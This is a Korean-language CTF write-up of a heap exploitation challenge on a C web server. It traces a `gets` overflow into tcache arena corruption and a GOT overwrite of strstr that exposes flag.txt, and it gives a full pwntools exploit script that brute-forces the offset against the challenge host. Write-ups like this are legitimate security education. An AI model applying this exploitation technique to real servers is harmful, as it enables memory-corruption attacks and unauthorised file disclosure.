Deadsec 팀으로 출전해서 풀었던 문제.
c언어로 작성된 웹서버 파일이 주어진다.
아래처럼 flag.txt 에 대해서는 debug_handler
함수를 실행시켜서 파일의 내용을 보여주지 않는다.
handler_fn handler;
if (strstr(path, "flag.txt") != NULL) {
handler = debug_handler;
} else {
handler = fileserv_handler;
}
handler(method, path, version, header_count, headers, data, err);
취약점은 gets
함수에서 발생한다.
for (;;) {
char *header_line = gets(buf);
if (header_line == NULL) longjmp(err, 1);
if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query
여기서 gets
함수의 인자인 buf
배열의 주소가 headers
, header_cap
, header_count
변수보다 작기 때문에 해당 값들을 전부 컨트롤 할 수 있다.
for (;;) {
char *header_line = gets(buf);
if (header_line == NULL) longjmp(err, 1);
if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query
int index = 0;
char *name = take_until_char(header_line, &index, ':');
char *value = take_until_newline(header_line, &index);
name = malloc_str(name);
value = malloc_str(value);
if (header_count + 1 > header_cap) {
int new_cap = header_cap < 4 ? 4 : header_cap * 2;
headers = realloc(headers, sizeof(struct Header) * new_cap);
header_cap = new_cap;
}
struct Header h;
h.name = name;
h.value = value;
headers[header_count] = h;
header_count += 1;
.....
}
이 경우에 header_count
변수를 음수로 설정하면, 우리는 tcache arena (tcache 구조체를 담고있는 곳)에 h
구조체를 적을 수 있는데, 이 구조체가 가지고 있는 name
이라는 멤버는 힙 주소로 해당 주소에 들어가는 문자열을 우리가 컨트롤 할 수 있다. 여기서 뭘 생각해야 하냐면 tcache arena 에 있는 bin 들에 name
멤버가 들어가게 되면, name
에 들어가있는 값들도 연속된 할당으로 받을 수 있는 것을 알아야 한다.
Safe-linking이 걸려있으면 풀 수 없을 것이라고 생각했기 때문에 20.04로 가정하고 문제를 풀었다. 어쨌든 취약점을 잘 응용하면 위와 같은 상황을 만들어 줄 수 있다. 이를 위해서는 특정 bin 의 개수 조작도 해야되고, bin에 직접 주소도 넣어야 한다.
fopendir
이 strstr
과 근접해있기 때문에 이를 이용해서 strstr
의 got를 fopendir
의 plt 주소로 바꾸었다.
handler_fn handler;
if (strstr(path, "flag.txt") != NULL) {
handler = debug_handler;
} else {
handler = fileserv_handler;
}
handler(method, path, version, header_count, headers, data, err);
fopendir
함수는 디렉토리를 여는데 실패할 시 NULL을 반환하기 때문에 fileserv_handler
가 호출되어 파일의 내용을 보여주게 된다.
이 문제는 서버 libc, docker 등을 제공해주지 않았기 때문에 header_count
변수의 적절한 값을 브루트 포싱해서 구해야한다. 확인 결과 서버에서는 -192 로 했을 때 로컬 익스코드가 돌아갔다.
from pwn import*
#context.log_level = 'debug'
e = ELF('./webserver')
target = e.got['strstr'] - 0x10
def make(header, cl, headers, header_cap, header_count):
pl = header
pl = pl.ljust(0x320 - 4, b'\x90') #Dumm
pl += p32(cl) #content-length
pl += p64(headers)
pl += p32(header_cap) #header_cap
pl += p32(header_count) #header_count
return pl
#p = process('./webserver')
for j in range(-0x137, 0x100):
j = -192
try:
p = remote('guppy.utctf.live', 5848)
pl = b'GET /flag.txt HTTP/1.1\x00\r\n'
p.send(pl)
pl = b'content-length : 10\n' #make 0x50 chunk
p.send(pl)
for i in range(3):
pl = b'content-length : 10\n'
p.send(pl)
pl = make(b'aa :' + p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x137 + j))
p.sendline(pl)
#print('first')
pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x150 + j))
p.sendline(pl)
#print('second')
pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0x160-1, 0, 11, 11)
p.sendline(pl)
#print('third')
p.send(b'\r\n')
#content
pl = p64(0x4011a0) + p64(0) + p64(0x4011a0)
pl = pl.ljust(0x160-1, b'A')
p.sendline(pl)
line = p.recvline()
print('line : ', line)
if b'For' not in line:
print(j)
p.interactive()
except:
p.close()
utflag{an_educational_experience}
푼 팀도 10팀 미만이였던 것 같고 난이도가 조금 있는 문제라고 생각된다.
중간에 풀다가 스마트플러그가 컴퓨터 꺼버려서 도커에서 작성한 익스코드가 날라갔다는 아주 슬픈사실..